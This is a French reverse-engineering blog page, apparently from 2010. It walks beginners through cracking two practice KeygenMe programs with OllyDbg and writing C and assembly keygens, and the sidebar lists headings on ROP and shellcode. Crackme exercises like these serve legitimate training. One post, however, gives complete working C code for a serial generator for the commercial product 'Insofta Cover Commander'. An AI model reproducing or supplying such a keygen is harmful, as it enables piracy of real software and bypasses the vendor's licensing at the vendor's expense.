Publié dans Keygen | Laisser un commentaire

KeyGenMe for Newbies :: Progressive KeygenMe #1

Publié le 22 décembre 2010 par Ryscrow

Bonjour à tous!

Pour mon premier post sur Re-Xe, je vous propose un petit tuto qui vise surtout les débutants en RE.
Il s’agit ici d’exploiter un simple petit KeyGenMe, en l’analysant puis en codant rapidement un petit KeyGen.

Vous pouvez trouver le KeygenMe ici : https://www.re-xe.com//uploads/2011/04/progressive_keygenme_1.zip

Si on l’execute, on aperçoit une simple fenêtre, avec deux champs de texte: un pour le nom et un pour le serial, ainsi que deux boutons.
Essayons de rentrer des infos au hasard.

Pour ma part, j’ai testé avec ‘ryscrow’ comme nom, et ‘123456789’ en serial. Appuyez sur Check, et normalement (sauf si vous avez une chance d’enfer et que vous avez réussi à trouver le serial correspondant au hasard du premier coup) la réponse ne tarde pas à tomber, avec une fenêtre qui s’ouvre indiquant: « Et non… Retente ta chance ».

Le but va donc être de trouver un serial correspondant au nom entré, et de réussir à trouver la routine pour le générer à partir de n’importe quel nom.

La première chose à vérifier, c’est que l’executable n’est pas packé ni crypté. Pour celà, un simple outil comme PEiD suffit.
On lance PEiD, on ajoute l’executable à tester, et PEiD nous informe que rien n’a été trouvé. (ce qui est normal pour un KeyGenMe destiné aux débutants…)

On va donc ici utiliser OllyDBG pour reverser notre programme.
Une fois lancé, OllyDBG nous place directement sur le point d’entrée du programme, à l’adresse 0x0401000.

Dans ce cas précis, le code désassemblé est suffisament clair pour qu’on puisse se passer de debug.
Les choses intéressantes commencent lors de l’appel à la fonction GetDlgItemTextA.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

En analysant un peu, on se rend compte que le gros de l’algorithme de génération du serial tient en 11 lignes de code:

1
2
3
4
5
6
7
8
9
10
11

Les 4 premières lignes contrôlent le nombre de caractères du « Name », nombre stocké dans le registre EAX.
Si EAX < 5 (donc 5 en décimal), on saute vers l’instruction qui affiche un message d’erreur. Si EAX > 14 (donc 20 en décimal), on saute vers l’instruction qui affiche un autre message d’erreur.

La 5ème instruction place le contenue du registre EAX dans ECX.

La 6ème place dans ESI un pointeur vers l’adresse où est stocké « Name » (402000)

La 7ème instruction remet à 0 le registre EBX.

Les 4 dernières instructions forment une boucle qui pourrait se traduire ligne par ligne par:

Placer l'octet vers lequel pointe ESI dans EAX (implicitement: Tant que celà est possible, la boucle se termine à la fin de la chaine de caractères.)
     EBX = EBX + EAX // Ajouter à EBX la valeur de EBX
     Incrémenter i
Retourner au début

La suite du code se contente de comparer la valeur obtenue par traitement du Name avec le sérial donné, et de nous rediriger en fonction du résultat de cette comparaison.

Donc après réflexion, l’algo n’est pas si compliqué que ça: il se contente d’additioner les valeurs décimales de chaque caractères du « Name ».

Voici un petit KeyGen que j’ai codé en C:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

#include <stdio.h>
#include <stdlib.h>

int main()
{
char name[20];
printf("Name: ");
scanf("%s", name);

int somme = 0;
int i = 0;

while(name[i] != '\0')
{
somme = somme + name[i];
i++;
}

printf("Le Serial est: %d", somme);
system("PAUSE");
return 0;
}

Et voici l’utilisation :

Et donc :

Et voilà, cet article est fini 😀 J’espère qu’il vous aura aidé.

Si vous avez la moindre question, n’hésitez pas à poster des commentaires !

Publié dans Keygen | 2 commentaires

Keygenning 4 newbies CrackMe ~ coded by The Analyst

Publié le 27 novembre 2010 par int_0x80

Je m’attaque dans cet article à un CrackMe de niveau fastidieux « for newbies ».

Pour download le KeygenMe : https://www.re-xe.com/wp-content/uploads/2010/11/The_Analyst_k4n1.zip

On ne perd pas de temps, on y va, on lance le binaire.

On obtient la chose suivante :

On analyse ensuite le binaire à coup de PEiD, ça m’étonnerait qu’on l’ai packé, étant donné qu’il est d’un niveau relativement facile.
On obtient la chose suivante :

Parfait, pas de packer en vue. Mais peut-être qu’on aura le droit à de la jolie crypto ? On utilise le plugin Kanal de PEiD, voici ce que l’on obtient :

Super, pas de crypto en vue ! On peut maintenant passer à l’analyse du binaire !

On tente un name & un serial au hasard :

W00t, This serial is *NOT* valid!

Allez op ! On ouvre notre binaire depuis Ollydbg.

Une fois votre binaire ouvert, tentez de checker les BadBoy & GoodBoy. Pour ce faire, nous allons lister les strings.

Cliquez droit dans ollydbg, puis allez dans ‘Ultra String Reference’ –> ‘1 Find Ascii’. On obtient ceci :

On aperçoit notre GoodBoy, et notre BadBoy :

Goob Boy : ‘Congratulation! IF this number comes *FROM YOUR* keygen …’
Bad Boy : ‘This serial is *NOT* Valid!! Try again… : UNREGISTRED’
On aperçoit aussi : %1X, ceci sert à formater notre string entrée.

Double cliquez sur le GoodBoy, ce qui vous renverra à son adresse (00401157) dans Ollydbg.
On obtient le code ci-dessous :

1
2
3
4
5
6
7
8
9

00401157 |.>PUSH 0040B43C ; /Text = « Congratulations! IF this number comes *FROM YOUR* keygen, Write a tutorial dude . »
0040115C |.>PUSH ESI ; |hWnd
0040115D |.>CALL <JMP.&USER32.SetWindowTextA>; \SetWindowTextA // G00d Boy
00401162 |.>JMP SHORT 0040117C00401164 |>>PUSH 0040B490 ; /Text = « This serial is *NOT* Valid!! Try again… : UNREGISTERED »
00401169 |.>PUSH ESI ; |hWnd
0040116A |.>CALL <JMP.&USER32.SetWindowTextA>; \SetWindowTextA // Bad Boy
0040116F |.>JMP SHORT 0040117C00401171 |>>PUSH 0040B4C9 ; /Text = « Name must contain more than 4 chars and less than 50 chars !! »
00401176 |.>PUSH ESI ; |hWnd
00401177 |.>CALL <JMP.&USER32.SetWindowTextA>; \SetWindowTextA // Bad Boy

Très bien.

On s’intéresse ensuite à cette ligne (située juste au dessus) :

1	004010AE \|. E8 FB9B0000 CALL <JMP.&USER32.GetWindowTextA> ; \GetWindowTextA

Ici GetWindowtext sert à récupérer les valeurs du champ name.

Ensuite, nous avons :

1
2
3
4
5

00401129 |. FF75 C8 PUSH DWORD PTR [EBP-38] ; /Arg3
0040112C |. 68 38B44000 PUSH 0040B438 ; |%lX
00401131 |. 8D8D 80FEFFFF LEA ECX,[EBP-180] ; |
00401137 |. 51 PUSH ECX ; |Arg1
00401138 |. E8 873D0000 CALL 00404EC4 ; \k4n.00404EC4

Ceci ressemble fortement à une fonction qui va formater notre string. Ce qui nous l’indique c’est le ‘ASCII « %lX »‘.

On descend encore un peu et on tombe sur :

1	0040114E \|. E8 339C0000 CALL <JMP.&KERNEL32.lstrcmpA> ; \lstrcmpA

lstrcmp s’occupe de comparer les chaines entrées juste avant d’afficher le BadBoy ou GoodBoy. On peut facilement en déduire que la routine de génération du serial est dans le coin ! Yes on s’en rapproche …
Le fait que’on ai une boucle juste avant, et que le résultat de celle-ci soit passé en argument à la fonction de formatage indique qu’on est tout proche de la routine !

On remonte un peu plus haut, et on trouve :

1 2	00401102 \|. 837D D8 32 CMP DWORD PTR SS:[EBP-28],32 00401106 \|. 7D 69 JGE SHORT k4n.00401171

Ici le programme vérifie la taille du name entré : si il est supérieur ou égal à 50d. (c’est à dire 50 chars). Si on entre un name supérieur à 50 chars, le programme nous enverra directement vers un BadBoy.
Vous pouvez en avoir le cœur net maintenant ! On est sûr et certain que la routine est située entre les vérifications de la taille de la string entrée en name et son formatage. C’est à dire de :

1	0040110C \|> /0FBE840D 48FFFFFF /MOVSX EAX,BYTE PTR [EBP+ECX-B8]

À :

1	00401124 \|. 03C3 ADD EAX,EBX

On ne prendra pas :

1	00401126 \|. 8945 C8 MOV [EBP-38],EAX

Car cette ligne ne fait que sauvegarder eax dans la pile. La valeur de eax ne changera donc plus.

La routine correspond donc à ceci (lignes grisées) :

On se procure cette routinz & on code notre keygen !!
Quelques commentaires à propos de la routine :

1
2
3
4
5
6
7
8
9

MOV AL,BYTE PTR [ecx+NameBuffer] ; Met dans AL chaque char du name un par un à chaque fois que ça boucle ( car ECX est incrémenté ligne suivante ).
INC ECX ; Incrémentation de ECX pour le définir comme compteur de chars contenus dans le name.
XOR EAX,ECX
ADD EBX,EAX ; Additionne eax à ebx. eax contenant les chars du name.
CMP ECX,DWORD PTR [LenName] ; Compare le nombre de chars du compteur au nombre de chars du name.
jne @B ; Boucle si le résultat du cmp précédent n'a pas été égal à 0, c'est à dire si ecx, le compteur, n'a pas été égal au nombre de chars du nom.
IMUL EAX,EAX,6 ; Multiplie le char pécédemment xoré par 6.
SHL EBX,7 ; Multiplie ebx par 2^7.
ADD EAX,EBX ; Additionne eax à ebx.

Lors de cette opération : ADD EAX,EBX
On a :
– eax qui est la valeur hexadécimale du dernier char multiplié par 6.
– ebx : la somme de tous les chars xorés, multipliés par 2^7.

Je vous laisse cogiter …

Keygen.asm :

.386
.model flat,stdcall
option casemap:none

; Include sur les librairies utilisées :
include Keygen.inc

; Les variables déclarées :
.data

Format db "%X",0
Message db "Entrez moins de caractères !",0
MessageShort db "Entrez plus de caractères !",0
WinTitle db "First Keygen By int_0x80",0

; Les variables non déclarées :
.data?

hInstance HINSTANCE ?
NameBuffer db 50 dup(?)
SerialBuffer db 50 dup(?)
LenName db 50 dup(?)

.code

start:

invoke GetModuleHandle, NULL
mov hInstance, eax
AllowSingleInstance addr WinTitle
; Cette macro limite le programme à une instance.

invoke DialogBoxParam, hInstance, IDD_KEYGEN, NULL, addr DlgProc, NULL
invoke ExitProcess, eax

; Début des procédures du dialogue :
DlgProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM ; http://msdn.microsoft.com/en-us/library/ms645469(VS.85).aspx

.if uMsg == WM_INITDIALOG
invoke LoadIcon,hInstance,MyIcon
invoke SendMessage,hWnd,WM_SETICON,1,eax
invoke GetDlgItem,hWnd,IDC_NAME
invoke SetFocus, eax
invoke uFMOD_PlaySong, IDM_MUSIK, 0, XM_RESOURCE ; Play SFX :)

.elseif uMsg == WM_COMMAND
mov eax,wParam

.if eax == IDC_GENERATE
invoke GetDlgItemText,hWnd,IDC_NAME,addr NameBuffer,sizeof NameBuffer
CALL Generate
invoke SetDlgItemText,hWnd,IDC_SERIAL,addr SerialBuffer

.elseif eax == IDC_COPY
invoke SendDlgItemMessage,hWnd,IDC_SERIAL,EM_SETSEL,0,-1
invoke SendDlgItemMessage,hWnd,IDC_SERIAL,WM_COPY,0,0

.elseif eax == IDC_EXIT
invoke SendMessage,hWnd,WM_CLOSE,0,0
.endif

.elseif uMsg == WM_CLOSE
invoke EndDialog,hWnd,0
.endif

xor eax,eax ; MOV eax, 0
xor ecx, ecx ; MOV ecx, 0
Ret

DlgProc EndP
; Fin de la procédure du dialogue.

;//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

; Génération du serial
Generate proc hWnd:HWND

invoke lstrlen,addr NameBuffer
mov dword ptr [LenName], eax ; Stockage de eax dans LenName .
cmp eax, 04h ; On compare la taille à 4d.
jl NoInput ; On saute si inférieur, le je saute si c'est égal.
cmp eax, 32h ; Puis on la compare à 50d (50 chars max).
ja Erreur ; On saute vers le label appelé 'erreur' si supérieur.
xor eax, eax ; MOV eax, 0
xor ebx, ebx ; MOV ebx, 0
xor ecx, ecx ; MOV ecx, 0
xor edx, edx ; MOV edx, 0

; Routine
@@:
MOV AL,BYTE PTR [ecx+NameBuffer] ; Met dans AL chaque char du name un par un à chaque fois que ça boucle ( car ECX est incrémenté ligne suivante ).
INC ECX ; Incrémentation de ECX pour le définir comme compteur de chars contenus dans le name.
XOR EAX,ECX
ADD EBX,EAX ; Additionne eax à ebx. eax contenant les chars du name.
CMP ECX,DWORD PTR [LenName] ; Compare le nombre de chars du compteur au nombre de chars du name.
jne @B ; Boucle si le résultat du cmp précédent n'a pas été égal à 0, c'est à dire si ecx, le compteur, n'a pas été égal au nombre de chars du nom.
IMUL EAX,EAX,6 ; Multiplie le char pécédemment xoré par 6.
SHL EBX,7 ; Multiplie ebx par 2^7.
ADD EAX,EBX ; Additionne eax à ebx.
; Fin de la routine.

; Conversion du sérial :
invoke wsprintf,addr SerialBuffer,addr Format,eax ; wsprintf --> http://msdn.microsoft.com/en-us/library/aa450993.aspx
Ret
; Fin de la procédure de génération du serial.

; On arrive ici si il n'y a pas de nom entré :
NoInput:
invoke SetDlgItemText,hWnd,IDC_SERIAL, addr MessageShort
Ret

; On arrive ici si le nom fait plus de 20 caractères :
Erreur :
invoke SetDlgItemText,hWnd,IDC_SERIAL, addr Message
Ret

;//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

Generate endp

end start
; Fin du programme

Keygen.inc :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

; Includes sur les librairies utilisées :
include MyMacros.asm
include windows.inc
include user32.inc
include kernel32.inc
include comctl32.inc
include winmm.inc
includelib kernel32.lib
includelib user32.lib
includelib comctl32.lib
includelib winmm.lib
include SFX/ufmod.inc ; Pour la musique.
includelib SFX/ufmod.lib ; Aussi pour la musique.

; Prototype des fonctions :
DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD

; Définition des constantes ici :
IDD_KEYGEN equ 1001
IDC_NAME equ 1002
IDC_SERIAL equ 1003
IDC_GENERATE equ 1004
IDC_COPY equ 1005
IDC_EXIT equ 1006
LOGO equ 1007
MyIcon equ 1008
IDM_MUSIK equ 1009

Keygen.rc :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

#define IDD_KEYGEN 1001
#define IDC_NAME 1002
#define IDC_SERIAL 1003
#define IDC_GENERATE 1004
#define IDC_COPY 1005
#define IDC_EXIT 1006
#define LOGO 1007
#define Serial 1011
#define Name 1012
#define MyIcon 1013
#define IDM_MUSIK 1009

LOGO BITMAP DISCARDABLE "int_0x800.bmp"
MyIcon ICON DISCARDABLE "favicon.ico"
IDM_MUSIK RCDATA DISCARDABLE "SFX/Class cracktro #15.xm"

IDD_KEYGEN DIALOGEX 0,0,262,215
CAPTION "First Keygen By int_0x80"
FONT 8,"MS Sans Serif"
STYLE 0x10cc0000
EXSTYLE 0x00000000
BEGIN
CONTROL "#1007",LOGO,"Static",0x1080020e,-7,0,277,222,0x00000000
CONTROL "Your Name",IDC_NAME,"Edit",0x50010080,53,92,191,19,0x00000200
CONTROL "",IDC_SERIAL,"Edit",0x50010080,53,120,191,19,0x00000200
CONTROL "Generate",IDC_GENERATE,"Button",0x50010000,17,166,51,16,0x00000000
CONTROL "Serial:",Serial,"Static",0x50000001,7,123,37,13,0x00000000
CONTROL "Name:",Name,"Static",0x10000001,7,95,37,13,0x00000000
CONTROL "Exit",IDC_EXIT,"Button",0x50010000,190,166,51,16,0x00000000
CONTROL "Copy",IDC_COPY,"Button",0x50010000,103,166,51,16,0x00000000
END

MyMacros.asm :

1
2
3
4
5
6
7
8
9
10
11
12

AllowSingleInstance MACRO lpTitle
invoke FindWindow,NULL,lpTitle
cmp eax, 0
je @F
push eax
invoke ShowWindow,eax,SW_RESTORE
pop eax
invoke SetForegroundWindow,eax
mov eax, 0
ret
@@:
ENDM

Voici à quoi ressemble le miens :

J’ai entré ‘int0x80’ en name, et j’ai cliqué sur Generate. Le serial que l’on me propose est : ‘139CA’.
Retournons vers notre KeygenMe & essayons le serial …

W00t ! KeygenMe Keygenné ! Bien joué ! Si vous galérez pour coder votre keygen, n’hésitez pas à jeter un œil au miens que voici :
(exécutable + sources) —> https://www.re-xe.com/wp-content/uploads/2010/11/KeyGen.zip

Have fun et bon courage pour la suite ! Greetz to Horgh pour m’avoir aidé à coder ce Keygen !

Publié dans Keygen | Marqué avec Keygenning 4 newbies CrackMe | Un commentaire

Keygen for PapaBango

Publié le 26 novembre 2010 par int_0x80

Hello, je vous propose de regarder une vidéo réalisée par PapaBango qui démontre comment trouver le serial décomposé dans une routine :

https://www.re-xe.com/wp-content/uploads/2010/11/In_s_o_ft_a_C_o-v_e_rCo.swf.zip

Après avoir visionné cette vidéo, l’envie de coder le keygen me prit tout à coup.

L’algo est super simple :

Le serial généré doit faire 41 caractères.
Le premier caractère doit être aléatoire.
Le deuxième caractère doit être un ‘Z’.
Le troisième caractère doit être un ‘3’.
Les 31 caractères qui suivent doivent être aléatoires.
Les 7 caractères en fin de string doivent être : ‘-EEFJKJ’.

Je vous paste ci-dessous le code. Vous remarquerez que je ne l’ai pas commenté du fait qu’il soit relativement simple. Vous n’aurez donc aucun mal à le lire et à le comprendre. Pour toute question, n’hésitez pas : Contactez-moi.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>

int main(void)
{
char nick[30];
char key[41];
char endkey[] = "-EEFJKJ";
char c;
int i;

srand(time(NULL));
c = (rand() % (90 - 65 + 1)) + 65;

printf (
"#######################################################################################\n"
"###################### Keygen by int_0x80 & lechienkitu © 2010 ########################\n"
"############## For Insofta Cover Commander cracked by PapaBango #######################\n"
"########## Tuto Vidéo : comment trouver le serial décomposé dans une routine ##########\n"
"#######################################################################################\n\n\n"
);
printf ("Enter your name : ");
fgets(nick, 30, stdin);

memset (key, 0, sizeof (key));
key[0] = c;
key[1] = 'Z';
key[2] = '3';

for(i=3;i<=33;i++)
key[i] = (rand() % (90 - 65 + 1)) + 65;
strcat(key, endkey);
printf("Serial : %s\n\nPress enter to exit ...",key);
getchar();

return 0;
}

PS : Merci à lechienkitu pour le coup de mains.

Publié dans Keygen | Marqué avec Keygen, Serial | Laisser un commentaire

Hello

Publié le 26 novembre 2010 par int_0x80

Hello !

C’est après un long moment de réflexion ( une minute ) que Ryscrow, int_0x80 & Horgh ont décidé d’ouvrir quelque chose qui ressemble à un blog.

Hé oui! En vue de faire évoluer nos connaissances en RE, nous vous proposons ce blog (très chic je l’avoue).

C’est ici que nous publierons nos trouvailles faramineuses ainsi que nos bouts de codes qui envoient du pâté (ou pas).

Bienvenue à vous, en espérant que nos récits vous passionnent.

Publié dans Non classé | Laisser un commentaire

Menu

Archives

Rechercher

Liens

Derniers articles

*** Qu’est ce que le Return-Oriented Programming ? ***

*** Concept d’un ROP ***

*** Les ROP gadgets ***

*** Comment trouver un gadget ? ***

*** Exemple d’exploitation ***

0x1 – Définition

0x2 – Les appels systèmes

0x3 – Écriture du shellcode x86

0x4 – get-shellcode-32

0x5 – Écriture du shellcode x86_64

0x6 – Get-shellcode-64

0x7 – Test du shellcode

Editeur hexa :

Debuggeurs :

Désassembleur :

Décompilateurs :

PE :

IAT / Dump :

Scanners :

Recherche de strings :

Editeur de ressources :

Patcheur :

Monitoring :

Réseau :

.NET :

Crypto / conversion :

ASM :

Javascript :

SWF :

PDF :

Autres :

Où télécharger des outils :

Débuter en Reverse engineering :

Débuter avec OllyDbg :

Débuter avec Ida Pro :

Les antidebuggers :

Débuter en ASM Win32 :

Trouver des crackmes :

Intro :

Rappel sur les appels de fonction en C :

Le bug :

Exploitation :

Les Format String Bugs

0x01 – Intro

0x02 – Exemple de lecture/écriture

0x03 – Exploitation

Shellcode statique :

Shellcode générique :

L’enregistrement :

Le CRC :

L’espèce d’anti-crack :

I/ Découverte du CrackMe :

II/ Unpacking « presque » perso :

III/ Elle est où cette routine de vérification de mot de passe?

IV/ Le côté obscure du bruteforcing :

* Qu’est ce que le Return-Oriented Programming ? *

* Concept d’un ROP *

* Les ROP gadgets *

* Comment trouver un gadget ? *

* Exemple d’exploitation *